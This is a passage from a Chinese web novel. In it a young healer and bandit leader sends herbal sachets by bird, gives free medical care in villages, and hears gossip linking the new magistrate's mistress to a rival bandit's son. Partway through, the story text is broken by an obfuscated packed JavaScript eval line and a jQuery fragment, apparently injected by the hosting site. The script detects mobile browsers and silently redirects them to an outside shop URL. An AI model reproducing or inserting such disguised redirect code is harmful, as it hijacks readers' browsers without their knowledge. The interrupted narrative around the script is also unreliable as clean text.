岑唯一早就来到院子角落里的小草屋忙活,这间草屋被她改成了一间药房。
里面收集了各种她亲手采摘的草药,以及从万家药铺里搜罗来的药材。
她从百眼药柜里依次取出艾叶、薄荷、丁香、藿香以及苍术,然后用石臼研磨成粗粉,又取来自己刚缝制好的锦囊将其打包入囊。
西南边境蚊虫成灾,眼下虽入秋,可是那地方潮湿闷热,想必送到江旬手里也能有一番用武之地。
岑唯到院子里吹了一声哨,唤来煤球。
“辛苦你再走一趟了。”
岑唯用食指蹭了蹭它黑溜溜的脑袋,然而煤球却并不领情,而是拉着嗓子发出一声是非难听的嘶吼,以此表示自己的不满。
不过它还是十分听话的任由岑唯将东西绑在自己的脚上,然后十分赏脸地接受了岑唯的投喂。
吃饱喝足之后,它傲娇的一甩脑袋,霸气冷冽地扇动翅膀,扶摇万里高空。
杏儿一进院子便瞧见了美人送青鸢这一幕极为赏心悦目的美景,她放下手里盛满月月红花瓣的箩筐,笑着上前打趣儿。
“小江将军送来的书实在是颇讨小姐欢心,不仅从到到晚捧着看,如今还要不远万里奉上一份回礼。
那书可有些年份了,万不能是随手送来的。要说他不愧是做将军的,真真是手段了得,小姐你也别太轻易地着了他的道。”
岑唯屈指弹了下她的脑门:“你这丫头待在我身边真是浪费了这一嘴伶俐的口舌。”
杏儿反而更加得寸进尺,捏起嗓子来恃宠而骄:
“我呀,怕只怕小姐将来有了心上人,就不给我留位置了。啧啧,更可怜咱们小煤球风里来雨里去,我只有我心疼心疼它了。”
岑唯无奈抱臂:“如此心疼那傻鸟,那下次你来送?”
杏儿抱着她的胳膊来回摇晃:“哎呀呀,我走了,谁来照顾小姐呢?我可得好好表现,让小姐永远也离不了我~”
岑唯仰着头憋笑:“嗯,那现在就给你一个表现的机会,去取药箱,陪我下山义诊。”
岑唯带上帷帽,杏儿挎着药箱,姐妹二人手挽着手并肩朝寨外走。
眼见着马上就要出寨门了,两个人却迎面撞上了刚从练武场下来的卢二、周小六和孙小怜三人。
“岑老大,你要下山?”
岑唯点了点头,叮嘱到:“明个儿天黑前就回,寨子里你多关照。”
“阿怃姐,我跟你们一起吧。嫂嫂她要我找时间下山裁买一些布料,预备给我那小侄儿做几身衣物。”
于是三个人一起结伴,踏上了下山的路。
岑唯边走边问:“小怜儿,你大嫂那边谁在陪着?她如今伤心过度,几番动了胎气,身边可离不得人。”
“放心吧,梅八嫂和十娘守着她呢。”
孙小怜边走边用鞭子抽路边的杂草玩,余光瞥见杏儿手里的药箱,问道:“你们这是要去义诊?”
“嗯。”
孙小怜眼中有些犹豫,几次欲言又止琢磨用词:“阿怃姐……山下跟寨子里可不一样,那么多人,拿不出钱看病买药的人多的是,你救得过来吗?”
“我只负责看病,买药就带着我的手书去万家要。他万辰乃许州首富,拿出这点买药的银钱对他来说不过是掉几根毛,还没到扒他皮的程度。
这是他欠我娘,欠我的。况且我用他的名义行善,也算是给他积德了。”
孙小怜:……姐你真孝啊……
“如今许州暗藏祸乱,没有人能够独善其身。”
岑唯站在这条盘旋在崖壁上的小路上,眺望山下连绵的田地和零散的村落房屋。
山谷间的风吹乱了她额头的碎发,可凌乱依旧不改坚毅。
少女的脊梁挺得笔直,一身君子风骨比起陡崖上艰难求生的松柏也毫不逊色。
“匪患的根本是贫富不匀,水往低处流,财向高处走。于是穷者愈穷,富者愈富。正所谓富常生□□,穷易出贼患,岂不为天下大患。
劫富济贫归根究底是平均贫富,给穷苦人条活路走。至于那些流油的富商,此举也不过是引他们居安思危,免得死在安乐的温柔乡里。”
孙小怜与杏儿二人连连点头,跟着岑唯的思绪一起兀自思索起来。
岑唯三人下了山,一路走到哪个村子就在哪儿支摊行医。
一路走走停停,等进了城,天色已经黑了下来。
三人便整顿行囊,一起去了桃楼。如此,歇脚的同时也能看望一下故人。
可惜祝潇玉忙着招待客人,来迎接她们的只有相对有些闲暇的楼主宋歆。
宋歆给她们安排了一间房间,然而帮着岑唯三人安置好后,她却
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17908374|202499||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
并没有急着离开。
宋歆走到门口,探出头张望了一下四周,确定隔墙无耳之后,她才关紧房门快步回到了三人身边。
“宋姐姐?你这是?”
宋歆拉着岑唯的手坐在床边,小心地压低了声音:
“你们来的时候可留意到桃楼东边新修了一座四跨院?”
岑唯稍加思索后点了点头:“是有这么个崭新气派的院子,这个院子有什么问题吗?”
宋歆故作神秘:“此事城中早就传起了一些风言风语,说什么的都有,不过只有我手里的消息才是最可靠的。
这院子里住着的,乃是新上任的县令薛大人背着正房太太偷偷养在外面的外室。”
杏儿和孙小怜闻言全都瞪大了眼睛,顿时来了兴趣一起凑上来听八卦。
“此人姓施,小名二娘。
按理来说这院子里只住着一个见不得光的可怜女人,无论如何也许我们桃楼扯不上关系的。
可是这几日,那边却连连来我们这点姑娘送到院里去时候。
我叫姑娘们留心打听了一些,妹妹你猜,这沉溺美色三番两次来我们这儿招蜂引蝶的主儿是何人?”
岑唯眼珠上下一转,笑道:“姐姐要我猜,说明这人我就算不认识,也听说过名号。那外室女子姓施,那想必这色鬼是日月山寨的人?”
“不错,此人不仅是日月山寨的人,还是那日月山寨大当家施永善的独子,施明。”
岑唯听到这个名字微微一怔,她记得自己与此人打过交道。
自步入江湖以来,她只遇到过两个不长眼没脑子的色鬼蠢货。
一个是知府之子潘宜年,另一个则是她第一次下山同马四等人守村是遇到的施明。
“薛文彦出身萧山县,施永善也是。当年二人是一个村子里出来的,薛文彦没钱读书,曾受过施家兄妹的资助。
施明的原话是:‘姓薛的踩着我爹和我姑姑坐上了如今的高位,那我施家这条贼船,他不上也得上。’”
岑唯被蠢笑了,她挑起一边眉,脸上止不住的笑意。
施明此人嚣张跋扈浪荡好色,在仗势欺人这方面是一把好手。
不曾想,这位愚蠢的大孝子,就这么把自己亲爹千辛万苦铺垫出的谋划,在这么一段镜花水月的露水情缘里,暴露给了自己的枕边人。